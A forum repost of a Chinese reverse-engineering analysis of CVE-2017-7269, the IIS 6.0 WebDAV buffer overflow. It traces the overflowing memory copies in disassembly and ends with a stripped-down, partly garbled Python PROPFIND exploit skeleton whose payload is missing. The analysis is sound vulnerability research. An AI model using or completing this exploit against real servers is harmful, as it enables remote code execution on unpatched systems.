12558网页游戏私服论坛

 找回密码
 立即注册
游戏开服表 申请开服
游戏名称 游戏描述 开服状态 游戏福利 运营商 游戏链接
攻城掠地-仿官 全新玩法,觉醒武将,觉醒技能 每周新区 经典复古版本,长久稳定 进入游戏
巅峰新版攻 攻城掠地公益服 攻城掠地SF 新兵种、新武将(兵种) 进入游戏
攻城掠地公 散人玩家的天堂 新开 进入游戏
改版攻城掠 上线即可国战PK 稳定新区 全新改版,功能强大 进入游戏
少年江山 高福利高爆率 刚开一秒 江湖水落潜蛟龙 进入游戏
太古封魔录 开服送10亿钻石 福利多多 不用充钱也可升级 进入游戏
神魔之道 签到送元宝 稳定开新区 送豪华签到奖励 进入游戏
神奇三国 统帅三军,招揽名将 免费玩新区 激情国战,征战四方 进入游戏
龙符 三日豪礼领到爽 天天开新区 助你征战无双 进入游戏
王者之师 免费领豪华奖励 免费玩新区 6元送6888元宝 进入游戏
查看: 428|回复: 0

CVE-2017-7269:IIS6.0远程代码执行漏洞逆向分析

[复制链接]
发表于 2019-8-20 11:12:08 | 显示全部楼层 |阅读模式
关于cve-2017-7269这种已经把exp给我们的漏洞,对于我这样的新手来说虽然没有办法像网上的大神那样从各种角度深度剖析这个漏洞,但是我想通过IDAWindbg动静结合的分析这个漏洞。  由于是纯粹逆向,一定存在比较片面的地方,还请大牛多多指教,共同进步。
0x01 简化EXP   
由于我们只想分析这个EXP,于是简化掉功能部分,即shellcode部分。结果如下图

0x02 准备调试
环境:Microsoft Windows Server 2003 R2 开启WebDAV服务的IIS6.0
那么究竟是什么引起了这个漏洞呢?网上告诉我是这样Windows Server 2003的IIS6.0的WebDAV服务的ScStoragePathFromUrl函数存在缓存区溢出漏洞 那么这个函数在那里呢 在httpext.dll里。


0x03 开始调试
首先我们直接跑起来,看看会发生什么。 如下图


由于我们去掉了Shellcode,于是就达的效果。 我们把上面说到的dll拖到ida里,定位到该函数的位置,该函数位于 673e9451然后会发现这个函数长这样。


网上说这个函数调用了两次发生了溢出可是这个函数实际的作用就是调用了一个函数而已。虽然很懵逼,但是还是点击去吧。进入如下图的函数



果断按下F5看看情况。



发现明显的内存拷贝,那么这个exp就是平凡的栈溢出吗? 我们怀揣着这样的理想,在这个函数的结尾处(673f702c)下断点,跑起来。



并没有明显的溢出,于是这并不是简单的栈溢出。 好吧~既然如此,我们不如来做枯燥的工作 看看它的数据是怎么进行拷贝的。

首先我们看到了这个if

这个if直接控制是否跳转到内存拷贝

简单说明一下这个函数吧

[Asm] 纯文本查看 复制代码.text:673F6F99    mov     edi, [ebp-450h]   edi=0130f804 .text:673F6F9F                 lea     eax, [esi+esi]      eax=24h.text:673F6FA2                 mov     ecx, eax         ecx=24h.text:673F6FA4                 mov     edx, ecx         edx=24h.text:673F6FA6                 shr     ecx, 2            ecx=9h.text:673F6FA9                 lea     esi, [ebp-43Ch]    esi=0130f35c.text:673F6FAF                  rep movsd      /*循环次数由ecx控制                                                                                                                 拷贝的目标地址由edi决定                                                                                                                数据来源于esi*/  .text:673F6FB1                 mov     ecx, edx            .text:673F6FB3                 mov     edx, [ebp-22Ch].text:673F6FB9                 and     ecx, 3           //ecx=0 .text:673F6FBC                 rep movsb               //由于ecx=0,所以不进行。.text:673F6FBE                 mov     esi, [ebp-444h]   // esi=0067cd38.text:673F6FC4                 sub     ebx, edx.text:673F6FC6                 lea     esi, [esi+edx*2]  // esi=0067cd38.text:673F6FC9                 mov     edx, [ebp-450h]  // edx=0130f804.text:673F6FCF                 lea     edi, [eax+edx].text:673F6FD2                 lea     ecx, [ebx+ebx+2] ecx=130.text:673F6FD6                 mov     eax, ecx.text:673F6FD8                 shr     ecx, 2           //ecx= 4c.text:673F6FDB                 rep movsd               //执行4c次.text:673F6FDD                 mov     ecx, eax        //ecx=24.text:673F6FDF                 and     ecx, 3           //ecx=0.text:673F6FE2                 rep movsb               //不执行.text:673F6FE4                 mov     eax, [ebp-230h.text:673F6FEA                 lea     eax, [edx+eax*2].text:673F6FED                 jmp     short loc_673F6FFC       //跳出拷贝。
第一次拷贝的数据范围edi 0130f804~0130f958
必须要说明一下的是,三次内存拷贝分别是在第二、第三、第五次调用该函数的时候进行内存拷贝。
余下还有两次,就不累述了。
关于余下两次。edi的值会有很大变化。给出全部变化的结果~

第一个rep出现在673f6faf   //进行                                                                                                                        
                                                                                                                                                                          第一次:edi=0130f804   完成后 0130f828                           
                                                                                                                                                                          第二次:edi=680312c0   完成后680312e4
                                                                                                                                                                         第三次:edi=0130fab4   完成后 0130fad8               
第二个rep出现在673f6fbc     //不进行      
第三个rep出现在673f6fdb    // 进行                          
                                                                                                                                                                          第一次  edi =0130f828  完成后0130f958                           
                                                                                                                                                                          第二次  edi=680312e4  完成后68031464                           
                                                                                                                                                                          第三次  edi=0130fad8  完成后0130fc08
第四个rep      673f6fe2   // 不进行      


既然如此,我当然就想知道为什么它会崩溃,在什么时候崩溃。

于是经过对函数大量的下断点,终于找到了会引发崩溃的函数。 该函数为ScStoragePathFromUrl内部的一个函数ScStripAndCheckHttpPrefix,这个函数代码如下。

一眼看出这个函数是虚函数。

于是很自然的联想到堆溢出

那么我们需要验证自己的想法,到底是怎么回事,于是我想说我要搞定edi esi的来源。为什么呢,因为edi地址跳跃很大,感觉是被认为控制。

在数据进行内存拷贝之前自然是没法控制,于是我们直接来到第二次内存拷贝。


找出根源是最紧要的,于是我得到了如下的步骤
[Asm] 纯文本查看 复制代码.text:673F6F99  mov     edi, [ebp-450h]
推出
[Asm] 纯文本查看 复制代码.text:673F6C9B  mov     [ebp-450h], eax
推出
[Asm] 纯文本查看 复制代码.text:673F6C93 mov     eax, [ebp+8]
[ebp+8]0130f7a0的参数如何变化?

[Asm] 纯文本查看 复制代码 673e9461 ff750c          push    dword ptr [ebp+0Ch]  ss:0023:0130f7b8=0130f804入栈
此时esp=01307a4  ebp=0130f7ac
[ebp+c](0130f7b8)的参数又怎么变?
[Asm] 纯文本查看 复制代码.text:673F54DF                 push    edi             ; int
此时esp=0130f7b8 ebp=0130fc34,edi的值又是怎么变得?


此时ebp=0130fc34 esp=0130f7c0 ebp-328h = 0130f90c 在我们第一次拷贝数据的范围内。于是控制程序复制数据的位置 至此edi的值怎么回事解答完毕


那么esi呢? 由下图

第一次内存拷贝:


第二次内存拷贝:



第三次内存拷贝:



Esi只是充当一个传递值的~于是不用太关注
好了,至此我们已经知道了怎么把参数分配到指定位置去。并且得出这样的结论 第一次内存拷贝是为了第二次edi值的传递,进行了堆溢出。 那么第三次内存拷贝呢?
我们关注点放在会崩溃的函数,因为程序马上就会崩溃掉。


我们关注a1的值

Esi的值是a1 ,于是开始寻找esi的变化的根源。
于是
[Asm] 纯文本查看 复制代码.text:673F6CA4                 mov     esi, ecx
于是
[Asm] 纯文本查看 复制代码673f5799 8b4dec          mov     ecx,dword ptr [ebp-14h] ss:0023:0130fbbc=680312c0
至此,我们已经完成了我们的工作,于是程序就会这样



进入rop,并且绕过DEP








附上exp:

[Python] 纯文本查看 复制代码#------------Our payload set up a ROP chain by using the overflow 3 times. It will launch a calc.exe which shows the bug is really dangerous.#written by Zhiniang Peng and Chen Wu. Information Security Lab & School of Computer Science & Engineering, South China University of Technology Guangzhou, China #-----------Email: edwardz@foxmail.comimport socket  sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  sock.connect(('127.0.0.1',80))  pay='PROPFIND / HTTP/1.1\r\nHost: localhost\r\nContent-Length: 0\r\n'pay+='If: 'pay+=' (Not ) \r\n\r\n'print paysock.send(pay)  data = sock.recv(80960)  print data sock.close


来源:http://www.12558.net
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
楼主热帖
回复

使用道具 举报

*滑块验证:
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

QQ|Archiver|手机版|小黑屋|12558网页游戏私服论坛 |网站地图

GMT+8, 2024-4-29 11:26 , Processed in 0.125000 second(s), 31 queries .

Powered by Discuz! X3.4

© 2001-2017 Comsenz Inc.

快速回复 返回顶部 返回列表